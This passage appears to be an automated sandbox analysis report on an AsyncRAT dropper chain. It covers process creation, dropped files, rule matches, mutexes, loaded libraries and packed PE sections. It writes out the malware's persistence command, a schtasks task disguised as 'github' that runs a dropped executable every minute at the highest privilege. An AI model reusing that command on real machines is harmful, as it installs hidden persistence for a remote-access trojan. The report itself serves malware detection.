Source: C:\Users\user\AppData\Local\Temp\1010706001\EJQ2xs8.exe	Code function: 12_2_05081030	12_2_05081030

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\cAvEmnl[1].exe 5A09D23637929D77E9C04322D800690BC6E7272E0755843F387C37B99F452FB8
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe 5A09D23637929D77E9C04322D800690BC6E7272E0755843F387C37B99F452FB8

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 12.2.EJQ2xs8.exe.7d0000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 7.0.cAvEmnl.exe.e0000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000006.00000002.2896207218.0000000001608000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000007.00000000.2443615567.00000000000E8000.00000002.00000001.01000000.00000009.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 0000000C.00000003.2616843347.0000000004F70000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 0000000C.00000002.2621060775.00000000007D2000.00000040.00000001.01000000.0000000C.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\cAvEmnl[1].exe, type: DROPPED	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: C:\Users\user\AppData\Roaming\github.exe, type: DROPPED	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe, type: DROPPED	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9982810371253406
Source: file.exe	Static PE information: Section: yguzlnpo ZLIB complexity 0.9946524127818404
Source: skotes.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9982810371253406
Source: skotes.exe.0.dr	Static PE information: Section: yguzlnpo ZLIB complexity 0.9946524127818404
Source: cAvEmnl[1].exe.6.dr	Static PE information: Section: U@7' ZLIB complexity 1.0007672991071428
Source: cAvEmnl.exe.6.dr	Static PE information: Section: U@7' ZLIB complexity 1.0007672991071428
Source: EJQ2xs8[1].exe.6.dr	Static PE information: Section: dvpnmyli ZLIB complexity 0.9949074161862864
Source: EJQ2xs8.exe.6.dr	Static PE information: Section: dvpnmyli ZLIB complexity 0.9949074161862864
Source: random[1].exe.6.dr	Static PE information: Section: ZLIB complexity 0.9976822916666667
Source: random[1].exe.6.dr	Static PE information: Section: enyyijut ZLIB complexity 0.994750381097561
Source: github.exe.7.dr	Static PE information: Section: U@7' ZLIB complexity 1.0007672991071428

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@13/12@0/4

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\cAvEmnl[1].exe

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1010706001\EJQ2xs8.exe	Mutant created: NULL
Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe	Mutant created: \Sessions\1\BaseNamedObjects\aKo7AtdK4OEvATqs
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7488:120:WilError_03

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\abc3bc1985

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: EJQ2xs8.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: EJQ2xs8.exe	String found in binary or memory: 3The file %s is missing. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe "C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe"
Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "github" /tr "C:\Users\user\AppData\Roaming\github.exe"
Source: C:\Windows\System32\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Roaming\github.exe C:\Users\user\AppData\Roaming\github.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1010706001\EJQ2xs8.exe "C:\Users\user\AppData\Local\Temp\1010706001\EJQ2xs8.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe "C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1010706001\EJQ2xs8.exe "C:\Users\user\AppData\Local\Temp\1010706001\EJQ2xs8.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "github" /tr "C:\Users\user\AppData\Roaming\github.exe"	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe	Section loaded: avicap32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe	Section loaded: msvfw32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\github.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\github.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\github.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\github.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\github.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\github.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\github.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\github.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\github.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\github.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\github.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010706001\EJQ2xs8.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010706001\EJQ2xs8.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010706001\EJQ2xs8.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010706001\EJQ2xs8.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010706001\EJQ2xs8.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010706001\EJQ2xs8.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010706001\EJQ2xs8.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010706001\EJQ2xs8.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010706001\EJQ2xs8.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010706001\EJQ2xs8.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010706001\EJQ2xs8.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010706001\EJQ2xs8.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010706001\EJQ2xs8.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010706001\EJQ2xs8.exe	Section loaded: cryptbase.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: github.lnk.7.dr

LNK file: ..\..\..\..\..\github.exe

Source: file.exe

Static file information: File size 1884160 > 1048576

Source: file.exe

Static PE information: Raw size of yguzlnpo is bigger than: 0x100000 < 0x19a400

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.c70000.0.unpack :EW;.rsrc:W;.idata :W; :EW;yguzlnpo:EW;fkybguvz:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;yguzlnpo:EW;fkybguvz:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 1.2.skotes.exe.fa0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;yguzlnpo:EW;fkybguvz:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;yguzlnpo:EW;fkybguvz:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 2.2.skotes.exe.fa0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;yguzlnpo:EW;fkybguvz:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;yguzlnpo:EW;fkybguvz:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 6.2.skotes.exe.fa0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;yguzlnpo:EW;fkybguvz:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;yguzlnpo:EW;fkybguvz:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1010706001\EJQ2xs8.exe	Unpacked PE file: 12.2.EJQ2xs8.exe.7d0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;dvpnmyli:EW;lhlewnhz:EW;.taggant:EW; vs :ER;.rsrc:W;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: random[1].exe.6.dr	Static PE information: real checksum: 0x1c8a64 should be: 0x1cac8d
Source: EJQ2xs8.exe.6.dr	Static PE information: real checksum: 0x1ab3ef should be: 0x1adb14
Source: cAvEmnl.exe.6.dr	Static PE information: real checksum: 0x0 should be: 0x1a5ae
Source: cAvEmnl[1].exe.6.dr	Static PE information: real checksum: 0x0 should be: 0x1a5ae
Source: file.exe	Static PE information: real checksum: 0x1d6995 should be: 0x1d4568
Source: skotes.exe.0.dr	Static PE information: real checksum: 0x1d6995 should be: 0x1d4568
Source: github.exe.7.dr	Static PE information: real checksum: 0x0 should be: 0x1a5ae
Source: EJQ2xs8[1].exe.6.dr	Static PE information: real checksum: 0x1ab3ef should be: 0x1adb14

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: yguzlnpo
Source: file.exe	Static PE information: section name: fkybguvz
Source: file.exe	Static PE information: section name: .taggant
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: yguzlnpo
Source: skotes.exe.0.dr	Static PE information: section name: fkybguvz
Source: skotes.exe.0.dr	Static PE information: section name: .taggant
Source: cAvEmnl[1].exe.6.dr	Static PE information: section name: U@7'
Source: cAvEmnl[1].exe.6.dr	Static PE information: section name: XejnR
Source: cAvEmnl.exe.6.dr	Static PE information: section name: U@7'
Source: cAvEmnl.exe.6.dr	Static PE information: section name: XejnR
Source: EJQ2xs8[1].exe.6.dr	Static PE information: section name:
Source: EJQ2xs8[1].exe.6.dr	Static PE information: section name: .idata
Source: EJQ2xs8[1].exe.6.dr	Static PE information: section name:
Source: EJQ2xs8[1].exe.6.dr	Static PE information: section name: dvpnmyli
Source: EJQ2xs8[1].exe.6.dr	Static PE information: section name: lhlewnhz
Source: EJQ2xs8[1].exe.6.dr	Static PE information: section name: .taggant
Source: EJQ2xs8.exe.6.dr	Static PE information: section name:
Source: EJQ2xs8.exe.6.dr	Static PE information: section name: .idata
Source: EJQ2xs8.exe.6.dr	Static PE information: section name:
Source: EJQ2xs8.exe.6.dr	Static PE information: section name: dvpnmyli
Source: EJQ2xs8.exe.6.dr	Static PE information: section name: lhlewnhz
Source: EJQ2xs8.exe.6.dr	Static PE information: section name: .taggant
Source: random[1].exe.6.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name: .idata
Source: random[1].exe.6.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name: enyyijut
Source: random[1].exe.6.dr	Static PE information: section name: ijrsozmw
Source: random[1].exe.6.dr	Static PE information: section name: .taggant
Source: github.exe.7.dr	Static PE information: section name: U@7'
Source: github.exe.7.dr	Static PE information: section name: XejnR

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 6_2_00FBD91C push ecx; ret

6_2_00FBD92F

Source: file.exe	Static PE information: section name: entropy: 7.9841219629652915
Source: file.exe	Static PE information: section name: yguzlnpo entropy: 7.954610998694376
Source: skotes.exe.0.dr	Static PE information: section name: entropy: 7.9841219629652915
Source: skotes.exe.0.dr	Static PE information: section name: yguzlnpo entropy: 7.954610998694376
Source: cAvEmnl[1].exe.6.dr	Static PE information: section name: U@7' entropy: 7.9871822316254475
Source: cAvEmnl.exe.6.dr	Static PE information: section name: U@7' entropy: 7.9871822316254475
Source: EJQ2xs8[1].exe.6.dr	Static PE information: section name: entropy: 7.928832262074926
Source: EJQ2xs8[1].exe.6.dr	Static PE information: section name: dvpnmyli entropy: 7.95384464177905
Source: EJQ2xs8.exe.6.dr	Static PE information: section name: entropy: 7.928832262074926
Source: EJQ2xs8.exe.6.dr	Static PE information: section name: dvpnmyli entropy: 7.95384464177905
